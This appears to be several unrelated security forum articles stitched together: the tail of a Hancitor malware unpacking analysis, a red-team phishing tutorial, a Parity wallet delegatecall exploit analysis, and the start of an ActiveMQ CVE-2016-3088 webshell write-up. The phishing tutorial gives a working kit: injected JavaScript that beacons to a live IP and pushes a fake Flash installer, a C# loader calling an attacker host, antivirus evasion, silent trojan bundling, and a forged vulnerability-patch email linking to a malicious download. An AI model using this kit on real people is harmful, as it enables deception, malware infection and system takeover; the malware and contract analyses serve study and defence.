为了帮助理解上述内容，下面给出上述算法的python版本。为了节省空间，我将数据删除了，可以在[Github](https://github.com/pan-unit42/public_tools/blob/master/hancitor/hancitor_offsetgen.py)上找到完整版。
def sbox1init():
return [x for x in range(0, 0x100)]
def sbox2init():
return [x for x in range(0, 0x5C36)]
def rc4ksa(sbox1, key):
oldValue = 0x0
for counter in range(0, len(sbox1)):
addValue = key[counter % len(key)]
fnlValue = (oldValue + addValue + sbox1[counter]) % 0x100
sbox1[fnlValue], sbox1[counter] = sbox1[counter], sbox1[fnlValue]
oldValue = fnlValue
return sbox1
def offsetGen(sbox1, sbox2):
offsetTable = []
innerCount = 1
oldValue = 0x0
for counter in range(len(sbox2), 0, -1):
fnlValue = ""
for x in range(0, 4):
innerIdx = innerCount % len(sbox1)
oldValue = (sbox1[innerIdx] + oldValue) % 0x100
addValue = (sbox1[oldValue] + sbox1[innerIdx]) % 0x100
sbox1[innerIdx], sbox1[oldValue] = sbox1[oldValue], sbox1[innerIdx]
fnlValue = "%02X" % sbox1[addValue] + fnlValue
innerCount += 1
fnlValue = int(fnlValue, 16) % counter
offsetTable.append(sbox2[fnlValue])
sbox2[fnlValue], sbox2[counter-1] = sbox2[counter-1], sbox2[fnlValue]
return offsetTable
def unshuffle(data, offsetTable):
unshuffle = [0x0] * len(offsetTable)
data = [data[x:x+2] for x in range(0, len(data), 2)]
for counter, entry in enumerate(offsetTable):
unshuffle[entry] = chr(int(data[counter], 16))
return "".join(unshuffle)
key = [0x82, 0xEF, 0x3D, 0x3C, 0x5D, 0x53, 0xC8, 0xE8, 0x51, 0x8D, 0xFB, 0xD9, 0xD0, 0x23, 0x1B, 0x14]
data = ""
offsetTable = offsetGen(rc4ksa(sbox1init(), key), sbox2init())
data = unshuffle(data, offsetTable)
大功告成，在完成整个脱壳算法后，你就会在Hancitor恶意软件中看到熟悉的字符串了。
## 十、Hancitor
在执行回主程序之前，他们通过调用OutputDebugStringA()函数来检查程序是否处于被调试状态。在检查通过后，他就会开始执行在0x404000处的代码。
我不会再花费太多时间在Hancitor的各种功能上了，因为实在是太多。下面这些是本次特定样本实现的功能。
> * 获取操作系统版本
> * 获取适配器地址
> * 获取 Windows目录
> * 获取音量信息
> * 利用api[.]ipify[.]org检查外网IP
>
在完成收集它所需要的信息后，会根据你的计算机架构是x86还是x64，按照以下格式，通过POST发往Hancitor的C2网址。
按照参数内容将收集到的信息填充后，变成如下形式:
## 十一、C2地址
回到我深入研究这个问题的原因，是因为我在过去的俩年里一直在维护一个[Hancitor decoder](https://github.com/pan-unit42/public_tools/blob/master/hancitor/h_decrypt.py)。对于每一种其新出现的变种，我都试着找到一种方法来找到Hancitor的C2网址，以便对其快速识别并加以防范。对于本文中的变种，即使经过了上述所有的脱壳过程，我依然没有找到其C2网址。
为了解决这一问题，我们必须进一步深入研究代码。在脱壳得到的shelllcode的0x402b51处，我们发现了其调用了一系列Windows解密函数，用来解密一组加密数据。将其解密得到了Hancitor的C2
URL’s。
> * CryptAcquireContextA
> * CryptCreasteHash
> * CryptHashData
> * CryptDeriveKey
> * CryptDecrypt
> * CryptDestroyHash
> * CryptDestroyKey
>
在这里使用的算法是SHA1以及RC4加密。它使用一个8字节的值（0xAAE8678C261EC5DB）来派发SHA1密钥，然后解密0x2000字节内容。
上述解密出的内容第一部分是与攻击日期相关的代码。在本次示例中，日期为1月24日。随后是三个Hancitor C2网址。
## 十二、总结
在Hancitor不断发展的过程中，他们一直都在坚持一个相当严格的模板。本次的示例实际上很大程度上地偏离了他们之前的模板。我们也只是在他们回退回使用其他或者更老变种之前的这一场攻击中看到其应用本次示例。这可能是由于它的加壳方式被更加频繁地检测了出来或者由于一些其他原因导致其感染率降低，从而使得他们不再采用这种方法了。无论如何，最重要的还是继续跟踪其攻击行为记录他们所使用的新技术、策略。
## 十三、IOCs
**Hancitor Gates**
> * hxxp://naveundpa[.]com/ls5/forum[.]php
> * hxxp://undronride[.]ru/ls5/forum[.]php
> * hxxp://dingparjushis[.]ru/ls5/forum[.]php
>
**User-Agent**
> * Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like
> Gecko
> | 社区文章 |
# 红队攻防系列之花式鱼竿钓鱼篇
## 0x0 前言
钓鱼的核心主要还是思路要骚。本文主要从一个完整的钓鱼流程进行讲解，记录下自己在学习这方面的知识时，如何将其有机结合起来，实现一个蓝队无感的钓鱼攻击流程，真正体验下如何从细节入手，将最危险的地方化为最安全的地方。
## 0x1 鱼钩隐藏
传统攻防的钓鱼扔黑不溜秋的exe，也没做什么进程迁移之类的动作，就算是个电脑小白也知道不正常，一下子就把你的程序给终结掉了，然后你也成功暴露了，之后蹲黑名单。
如何将鱼钩更好的隐藏呢？
这里我抛转引玉说几个点:
1.XSS
直接插入这个js文件即可
<script src="/hacked.js"></script>
`hacked.js` 需要注意下面这几个点
1.判断UA,电脑端才加载exe,android则加载apk
2.向后台API发送查询，是否上钩了,是的话不加载，不是的话加载
3.js一定要注意混淆和命名,采用原生ajax，兼容性会更好
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
window.confirm = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
var result = window.frames[0].window.confirm(name);
iframe.parentNode.removeChild(iframe);
return result;
}
function isPc() {
if (navigator.userAgent.match(/(iPhone|Android)/i)) {
return false;
} else {
return true;
}
}
function isRise() {
var xmlHttp;
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("GET", "http://101.200.157.195:8085/api.php?m=api&do=isExist", "true");
xmlHttp.send();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
var resData = xmlHttp.responseText;
if (resData == "ok") {
} else {
download();
}
}
}
}
function download(){
window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};
alert("您的FLASH版本过低，请尝试升级后访问该页面!");
window.location.href="http://xxx/";
}
window.onload = function(){
if(!isPc()){
alert("当前页面只能在电脑PC端中加载,请稍后重试...");
}else{
isRise();
}
}
2.钓鱼网站(比如flash)
我们需要去申请一个近似的域名<https://www.freenom.com/zh/freeandpaiddomains.html>
<https://www.flash.cn/> 我们需要模拟就是这个网站
这里我选取的域名是:`flash-cn.cf`
下面我们只要简单伪造下钓鱼的地址就行了。
这里我用的是学生机，所以后面我用了一个香港主机做nginx的反向代理，一方面保护了自己,
一方面也能绕过备案。
下面我们就是直接搭建个钓鱼网站了。
把我们的木马改名为:`flashplayerpp_install_cn.exe`
然后放在我们建立的`latest`目录下。
然后放在docker下,我们以后需要做的就是
`docker cp host_path containerID:/var/www/html/cn/`
### 0x1.1 木马处理
这里需要注意木马要做好免杀，否则运行的时候就要被杀了。
免杀的方式很多，网上很多方法可以过360，这里笔者采用shellcode加密的方式能达到暂时绕过360(当然还有非常多的绕过方式，这些点最好自己挖掘一下，发出来的话一般很快就会和谐了，欢迎有师傅找我研究下。)
这里我们需要自己写一个加载器，封装感知函数放进加载器，这样木马如果真正加载的时候就会对我们的API发起请求，这样我们就能捕获到木马成功运行了。
using System;
using System.Net;
using System.Threading;
namespace testHttp
{
class Program
{
static void Main(string[] args)
{
ThreadStart childref = new ThreadStart(sendLog);
Thread childThread = new Thread(childref);
childThread.Start();
}
public static void sendLog()
{
string url = "http://hackerc.com/api.php?m=api&do=myLogk";
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
request.Method = "HEAD";
request.Timeout = 100000;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
}
}
}
然后我们把这个封装到木马里面即可。
基本能绕过360杀毒,成功发出感知请求,用window窗口方式编译，能实现无控制台提示静默执行。
### 0x1.2 隐蔽处理
这里主要是需要将我们的木马与正常程序去捆绑，这样用户执行恶意文件的时候其实我们的木马是在静默运行的，而用户执行正常的程序操作。
这里为了免杀效果更好，我选择了winrar自解压的方式去包装我们的木马。
首先我们需要准备好木马、正常程序和Restorator这个工具:
1.选中两个程序，然后添加到压缩文件,创建自解压
2.高级自解压选项，常规：解压路径 ——> 绝对路径：
路径写`C:\windows\temp`
3.高级自解压选项->安装
C:\windows\temp\选中的木马名
C:\windows\temp\选中的程序名
4.高级自解压选项->模式
静默模式->隐藏所有
5.高级自解压选项->更新
更新模式->解压并更新
覆盖模式->覆盖所有文件
6.确定
执行一下，发现达到了效果，在这里我们还需要做一些细节的伪装.
Restorator 将压缩后的程序图标替换为`flashplayer_install_cn`的图标，然后名字也改为
`flashplayer_install_cn.exe`
基本能仿照的非常像。
## 0x2 鱼竿感知
鱼竿感知系统其实非常重要，比如鱼儿上钩，你还一直弹窗，这样是个小白也能知道不正常。那么如何做好一个简单的感知系统呢？其实非常简单,这里我丢一个简单的demo,实际上它是可以写成一个框架的(这个先不考虑放出来)
这里我采用了PHP + MYSQL的方式
首先新建个表`fish`
表设计:
字段 | 类型 | 说明
---|---|---
id | int | 主键
ip | varchar | 来源ip
ua | varchar | 来源UA
count | int | 点击次数
status | varchar | 当前状态
SQL数据库语句:
DROP DATABASE IF EXISTS fishperception;
CREATE DATABASE fishperception;
USE fishperception;
DROP TABLE IF EXISTS fish;
CREATE TABLE fish(
`id` INT AUTO_INCREMENT,
`ip` VARCHAR(200) DEFAULT NULL,
`ua` VARCHAR(255) DEFAULT NULL,
`count` INT DEFAULT NULL,
`status` VARCHAR(10) DEFAULT NULL,
primary key(`id`)
);
后端的简单记录Demo:
提供了几个API:
api.php?m=api&do=myLog // 这个是木马执行时候请求写入的api
api.php?m=api&do=isExist //这个用来js判断是否已经上线的,已经上线则不执行操作
提供了一个基本简单的管理demo:
如果还想继续钓鱼某个IP或者某IP掉线的话，可以登录后台删除这个记录，这样就能继续针对某个特定ip进行钓鱼。
为了随时转移和方便，我们可以用docker来实现一键部署感知系统。
基于lamp的docker环境可以快速搭建。
`scp -r docker-lamp-ok [email protected]:/root/`
然后服务器里面:
`docker-compose up --build`
然后运行起来了,然后配置`flash-cn.cf`的nginx代理,转发我们的钓鱼内容。
`cd /etc/nginx/conf.d`
编辑一个Server
server
{
listen 80;
server_name flash-cn.cf;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-Ip $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_pass http://139.159.x.x:8005;
}
}
然后`systemctl restart nginx`即可
## 0x3 选择水域
比较常用方式如传统的邮箱打点、dns劫持欺骗等方式
其实生活中有非常多攻击点(主要是人们总是自信地认为黑客不会在他们的身边)
班级群里面、教师群等社交关系群里面，本身具备了高信任的特点，所以制作点热点话题，打开一个URL并不是什么难事。
还有供应链打击、物理社工等...
这里笔者还是比较喜欢传统的邮箱钓鱼吧，它在发挥小型目标hw行动的时候，是非常好用的。
### 0x3.1 邮箱钓鱼思路
基于邮箱的钓鱼，有人说它比较老套了，其实不然，笔者在后渗透的项目经历中发现，其实邮箱钓鱼的攻击面比较广泛,掌握好切入点，巧学活用能发挥比较巨大的作用(切忌一大批的发垃圾邮件信息)。
**1.可信邮箱**
可信邮箱邮箱选取优先选择同单位下的域名邮箱，再者可以选择一些高权的邮箱比如gov等之类的。
笔者对某学校做过定向的渗透打击，通过OA来提取出某领导的邮箱账号密码，后面通过伪造工作邮件+附件信息，基本一打一个准。
**2.针对性发送**
最好根据组织结构，挑选一些中间人来进行打击，切记大量发送，引起别人警觉。
**3.邮箱内容**
这里我说下比较常用的就是伪造漏洞补丁。
这里就涉及到一些钓鱼模板的使用了。
这里举一个简单的例子,实际上要针对业务和对象来选择合适的模板。
一、漏洞情况分析
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark 是一种与 Hadoop 相似的开源集群计算环境，启用了内存分布数据集，除了能够提供交互式查询外，它还可以优化迭代工作负载。Apache Spark 是在 Scala 语言中实现的，它将 Scala 用作其应用程序框架。
2020年6月23日，国家信息安全漏洞共享平台（CNVD）收录了由杭州安恒信息技术股份有限公司报送的Apache Spark远程代码执行漏洞。由于Spark的认证机制存在缺陷，导致共享密钥认证失效。攻击者利用该漏洞，可在未授权的情况下，远程发送精心构造的过程调用指令，启动Spark集群上的应用程序资源，获得目标服务器的权限，实现远程代码执行。
CNVD对该漏洞的综合评级为“高危”。
二、漏洞影响范围
漏洞影响的产品版本包括：
Apache Spark < =2.4.5
三、漏洞处置建议
目前，Apache官方已发布新版本修复此漏洞，建议用户立即升级至最新版本：
https://hackker.com/360/xx.zip
**4.SPF配置不当导致邮件伪造**
SPF:
> SPF(Sender Policy Framework)
> 发送策略框架，是一种以IP地址认证电子邮件发件人的身份的技术，是为防范垃圾邮件而提出来的一种DNS记录类型，他是一种TXT类型的记录。接收邮件方会首先检查域名的SPF记录，来确定发件人的IP地址是否合法。
如果SPF没配置的话，那么任何人都可以像邮件服务器自定义内容发送邮件，这样就会导致邮件伪造。(邮件的中转是通过SMTP协议的)
**如何检测是否存在这种漏洞**
1.通过在线网站 <https://emkei.cz/> 去测试是否能发送成功
2.手工测试(比较方便，个人比较常用)
`nslookup -type=txt domain`
这样就说明不存在漏洞。
这样就说明没配置SPF。
关于这个漏洞利用可以放在下回细讲，简单利用可以参考一个工具:
[Swaks](http://www.jetmore.org/john/code/swaks/)
## 0x4 实战效果
上面说的只是一些点，真正的攻击是需要自己针对目标定制一套适用的钓鱼方式的。
这里提了提高成功率，我选取了我们班某位胸大无脑的MM同学作为测试，首先通过一些话语让她产生好奇心
然后制作一个类似的求爱视频的网站给她:
后面通过发送网址给她:
中间还是出现了一些问题:
最后我做了一些迂回, 比如吐槽之类的，给MM造成心理压迫:
最后MM还是成功打开了，然后询问我为什么视频还没有成功加载，也没有提示版本过低。。。。
到了这里我觉得是时候跟MM坦白了。
最后看下@MM 对我的评价:
## 0x5 总结
这里笔者钓鱼采取了比较激进的直接获取客户机权限的方式，其实针对无感攻击比较简单还是社交网络的画像提取，这样我们不仅可以轻松掌握大量网络体系信息和员工习惯，还可以进行成功率更高的定向打击。钓鱼是一门巧活细活，博弈性比较强，但是攻击性让人防不胜防，希望有研究这方面的大佬可以带带我这个小萌新，想跟师傅们学习各种骚姿势，认识更多场景，去完善我的钓鱼框架(因为目前很多特殊情况没考虑，比如直接被杀软杀了木马，那么也会暴露，感觉攻防对抗真的错综复杂，希望APT大佬能拉我这个菜鸡进小密圈)。
## 0x6 参考链接
[阿里白帽大会-红队的踩”坑”之路总结-Wing](https://evilwing.me/2020/01/13/a-li-bai-mao-da-hui-hong-dui-de-cai-keng-zhi-lu-zong-jie-wing/)
[记一次真实的邮件钓鱼演练](https://xz.aliyun.com/t/5412)
[关于邮件伪造的一些新思路](https://www.jianshu.com/p/671bce334ea7)
[红队攻击：轻松玩转邮件钓鱼合天智汇](https://www.jianshu.com/p/8f5c5ef25db9)
[Flash水坑钓鱼](\[http://news.migage.com/articles/Flash%E6%B0%B4%E5%9D%91%E9%92%93%E9%B1%BC_3683318_csdn.html\]\(http://news.migage.com/articles/Flash水坑钓鱼_3683318_csdn.html)) | 社区文章 |
Parity是目前以太坊使用最广泛的钱包之一，此次事件是一起因为只能合约代码漏洞导致的以太币被盗事件。
### 一、Parity合约漏洞事件概述
由于读者可能没有接触过区块链的知识，所以我在开始的时候将简短的介绍下此应用的背景。首先，我们需要介绍一下Parity。
Parity是用 Rust 语言开发的以太坊节点应用，其特点就是速度块、轻量化，性能远优于 Go 语言实现的 Geth 以太坊客户端。Parity 目前为
Web 3.0 基金会成员，由前以太坊联合创始人兼 CTO Gavin Wood
博士掌舵。而我们知道，`Parity`作为以太坊的一种钱包，有如下的几个特点：
* 1 因为其为重构的代码，所以跑起来更快，占用系统的资源更少。
* 2 它的同步功能做得更好，所以其他钱包很久不能同步的的时候，它还是能够很快同步。
* 3 它所占用的空间资源较小。它虽然是一个全节点钱包，但是它把那些很早的区块只留下了区块头，其他内容删减了，所以同步好的区块的大小也就几个G，而如果是用以太坊的官方全节点钱包，光区块大概就得有40个G。
* 4 它能够设置定时发送交易，能够在到达某个区块数的时候自动发送转账交易。
多重签名钱包是多个人使用自己的私钥控制的以太坊账号，需要在多数人用私钥签名之后才能转移出资金。
所以这个应用也获得了许多人的使用，如果有爱好者也想尝试使用下此钱包，请参照 [以太坊Parity钱包使用教程，ETH
Parity钱包教程](http://8btc.com/article-4540-1.html)
好了，现在我们开始步入正题。详细的讲述下这个钱包曾发生的风风雨雨吧。
在2017年7 月 19 日，Parity发布安全警报，警告其钱包软件1. 5
版本及之后的版本存在一个漏洞。据该公司的报告，确认有153，000ETH(大约价值 3000 万美元)被盗。
据Parity所说，漏洞是由一种叫做wallet.sol的多重签名合约出现bug导致。后来，白帽黑客找回了大约377,000 受影响的ETH。
本次攻击造成了以太币价格的震荡，Coindesk的数据显示，事件曝光后以太币价格一度从235美元下跌至196美元左右。此次事件主要是由于合约代码不严谨导致的。我们可以从区块浏览器看到黑客的资金地址：
可以看到，一共盗取了153,037 个ETH，受到影响的合约代码均为Parity的创始人Gavin Wood写的Multi-Sig库代码：
我们大致来看此次事件，本次漏洞同样出现在应用层，是Solidity编程语言的智能合约代码漏洞。与我曾经分析过的THE
DAO事件类似，本次漏洞也是代码逻辑不严谨导致的黑客越权攻击行为。我会在结尾将这两次攻击进行一个比较总结，详细文章可以参看[区块链的那些事—THE
DAO攻击事件源码分析](https://xz.aliyun.com/t/2905)
### 二、漏洞关键函数剖析
在详细分析此次漏洞前，我将部分合约中涉及到的基础函数进行一个详细的讲解。（有了此铺垫，后面的内容会更容易理解）。
由于项目是与太坊平台相关的项目，所以我们的合约部分均是由[Solidity](https://solidity.readthedocs.io/en/v0.4.24/)进行编写。
[Solidity](http://solidity.readthedocs.io/en/v0.4.24/ "Solidity")
是一种用与编写以太坊智能合约的高级语言，语法类似于 JavaScript。Solidity
编写的智能合约可被编译成为字节码在以太坊虚拟机上运行。Solidity
中的合约与面向对象编程语言中的类（Class）非常类似，在一个合约中同样可以声明：状态变量、函数、事件等。同时，一个合约可以调用/继承另外一个合约。
而正是由于可以继承、调用另外的合约，所以才引出了本次漏洞。
在Solidity中我们需要知道几个函数：`call、delegatecall、callcode`。在合约中使用此类函数可以实现合约之间相互调用及交互。而也正是此类函数向用户开放了DIY的权利，也导致了用户代码的“野蛮生长”，也随之而来的带来了极大的风险。
#### Solidity的调用函数
在 Solidity 中，call 函数簇可以实现跨合约的函数调用功能，其中包括 call、delegatecall 和 callcode
三种方式。由于此漏洞与`delegatecall`相关，所以我们详细的讲解此函数。下面看一个具体的例子：
pragma solidity ^0.4.0;
contract A {
address public temp1;
uint256 public temp2;
function three_call(address addr) public {
addr.delegatecall(bytes4(keccak256("test()")));
}
}
contract B {
address public temp1;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 100;
}
}
由例子我们可以知道，合约A中调用了`delegatecall ()`函数，并使用此函数跨合约调用了合约B的`test()`函数。
由测试我们知道，delegatecall
的执行环境为调用者环境，当调用者和被调用者有相同变量时，如果被调用的函数对变量值进行修改，那么修改的是调用者中的变量。这也就能够达到修改主机上任意代码的可能，也就意味着拿到了
_主机的root权限_ 。
#### delegatecall()函数的滥用
下面我们看一个例子具体理解代码是如何滥用delegatecall()函数的。
function test(uint256 a) public {
// 测试代码test
}
function Func() public {
<A.address>.delegatecall(bytes4(keccak256("test(uint256)")));
}
由上述代码我们知道，Func函数在内部调用了A地址的test()函数。但是许多开发者为了代码的灵活使用，往往用以下的内容来写代码：
function Func(address addr, bytes data) public {
addr.delegatecall(data);
}
倘若代码中有逻辑漏洞出现会是什么样子的呢？
contract Servers {
address owner;
function Func(address addr, bytes data) public {
addr.delegatecall(data);
//address(Attack).delegatecall(bytes4(keccak256("Attack_code()")));
//代码为被攻击者的代码，其使用了delegatecall函数。
}
}
攻击者对应这种合约可以编写一个 Attack 合约，然后精心构造字节序列(将注释部分的攻击代码转换为字节序列)，通过调用合约 Server 的
delegatecall，最终调用 Attack 合约中的函数，下面是 Attack 合约的例子：
contract Attack {
address owner;
function Attack_code() public {
// 任何有威胁的攻击代码。
}
}
此时我的server端就可能会被攻击者利用，通过delegatecall()代码来执行
Attack_code()，当我的攻击代码中有敏感内容时，攻击就会奏效。
例如被攻击合约的源代码：
### 三、合约源码详细解读
了解了上面的`关键函数`后。我们就具体的来看一下7月份的这个Parity多签名合约漏洞的详细解析。
我们将当时的源代码放上[enhanced-wallet.sol](https://github.com/paritytech/parity-ethereum/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol)
我们简单的想一下如何作案。
加入我想要进行攻击，那么我首先应该怎么做呢？我的目的是什么？
简单来说，我的目的肯定是能获得“利益”了。
那么我们应该获得什么利益呢？同学肯定说：答案是肯定的，在以太坊中我肯定想获得以太币呗！
那问题又来了，你想获得以太币，应该怎么获得呢？挖矿？（要是正常挖矿就没有现在的事情了）。所以我们肯定是想“不劳而获”喽。
此时，有的同学就会说：“要是有人养着我，不断给我转钱就好了！”。
问题的解决办法就浮现出来。对呀！要是所有人都给我转钱就好了！我们可以大胆的想，假如我是银行，我把应该的汇款对象都设置成我的账户，让所有人的转账都神不知鬼不觉的转到我自己的账户该有多好！！
在银行中，我们这么做肯定是要被立刻发现的。但是作为区块链项目的以太币，它的匿名性就给这种想法提供了可乘之机。于是我们就尝试去修改“Parity”钱包的汇款地址。让所有的人都汇款给我。
那么我们一步一步的去看合约详细内容。
首先在合约中，我们看到了钱包初始化函数。我们知道“Parity”钱包的机制是由多人的私钥进行签名才能够进行汇款等操作，所以这里的地址类型是一个数组。
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
随着函数的进行，它在初始化的时候会执行`initMultiowned(_owners, _required);`函数。
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
在该函数中，我们首先发现此功能是初始化合约钱包，并对钱包所有者的地址进行更新。
所以我们可以猜测，我们是否可以调用到此函数，初始化整个钱包，将合约拥有者修改为仅我自己一人，随后进行转账操作呢？
可是问题又来了，我们并没有执行此函数的权限。那我们应该怎么办呢？此时就要用到我们在上面所写的`delegatecall()`函数。
下面是钱包合约的内容：
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
// Add the signature first to memory
mstore(0x0, sig)
// Add the call data, which is at the end of the
// code
codecopy(0x4, sub(codesize, argsize), argsize)
// Delegate call to the library
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
function isOwner(address _addr) constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
在此合约中，我们能看到支付函数中存在`_walletLibrary.delegatecall(msg.data);`。而我们知道倘若我们令其系统执行了此函数，那么我们就可以随心所欲的执行所有`_walletLibrary`中的内容了。
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
此时，我们通过往这个合约地址转账一个value = 0, msg.data.length >
0的交易，以执行_walletLibrary.delegatecall分支。
并将msg.data中传入我们要执行的`initWallet ()`函数。而此类函数的特性也就帮助我们将钱包进行了初始化。又由于钱包初始化函数
`initMultiowned()`未做校验，可以被多次调用。所以尽管钱包在最初的时候进行了合法的初始化，但是我攻击者可以将其系统中进行修改，迫使系统代码自行将所有的地址更变为攻击值的地址值。
流程图如下：
之后，攻击者执行execute()函数。
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
而我们可以看到函数中的`external onlyowner`。
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
此函数使攻击者不能轻易的进行转账操作，但是我们之前所有的操作均是为了将此函数绕过（通过修改owner地址）。
此时我们的黑客就可以收钱了hhh。
### 四、总结
简单来说，此次攻击存在代码过滤不严格的情况。首先是没有代码去检查钱包初始化是否执行过，导致初始化函数可以多次使用。除此之外，我们给与用户的权限过于大，也就是自由发展带来的损失。所以为了生态圈的“野蛮生长”，我们既要放开绳子，又要对核心层进行严格把关。
如何解决上述问题呢？我们可以定义一下限制器函数。
// throw unless the contract is not yet initialized.
modifier only_uninitialized {
if (m_numOwners > 0) throw;
_;
}
并在上述初始化函数中进行使用，以便使这些函数无法多次调用。
本稿件的分析是我经过大量阅读已经自己的分析后进行的详细总结，因为我想将内容讲到更细节的地方，所以分析的内容较多。如果大家有什么想法进行交流讨论，可以在下方评论。谢谢！
### 五、参考链接
* 1 [https://baijiahao.baidu.com/s?id=1608675086808181221&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1608675086808181221&wfr=spider&for=pc)
* 2 <https://paper.seebug.org/633/>
* 3 <https://blog.csdn.net/xuguangyuansh/article/details/80786691?utm_source=blogxgwz5>
* 4 <https://github.com/paritytech/parity-ethereum/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol>
* 5 <https://www.8btc.com/article/134438>
* 6 <https://ethfans.org/topics/774>
* 7 <https://paper.seebug.org/633/>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
**Author：Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/346/>**
#### 1\. Background
Apache ActiveMQ is an open source Message-oriented middleware written in Java.
Eclipse Jetty is a Java HTTP (Web) server and Java Servlet container which
supports web containers such as JSP and servlet. ActiveMQ 5.0 and its later
versions have Jetty integrated by default. It provides a web application that
monitors ActiveMQ after startup.
On April 14, 2016, foreign security researcher Simon Zuckerbraun exposed
multiple security vulnerabilities in Apache ActiveMQ Fileserver, which could
allow remote attackers to replace web applications with malicious code and
execute remote code on affected systems (CVE-2016-3088) .
#### 2\. Principle Analysis
The FileServer service in ActiveMQ allows users to upload files to a specified
directory via the HTTP PUT method, and download [ActiveMQ 5.7.0
Source](http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/activemq-parent-5.7.0-source-release.zip) . The key code for
background processing PUT is as follows.
Users can upload files to the specified directory. The path is defined in
`conf / jetty.xml`, as follows:
Interestingly, we forged a special upload path that can reveal the absolute
path.
Following the PUT method, you can see that the following function is called.
At the same time, the key code of the background processing MOVE is as
follows. You can see that the method does not restrict or filter the
destination path.
From this, we can construct a PUT request to upload webshell to the fileserver
directory, and then move it to the admin / directory with execute permissions
through the Move method.
#### 3\. Tips to the exploit
Based on the above vulnerability principle, we can think of various ways to
exploit.
(Note: The following results are reproduced in ActiveMQ 5.7.0, and the MOVE
method utilization is very unstable during the reproduction process.)
* Upload Webshell
First PUT a Jsp Webshell to the fileserver directory
Webshell does not have execute permissions in the fileserver / directory
Burst the absolute path
Then use the MOVE method to move the Webshell into the admin / directory (you
can also use relative paths)
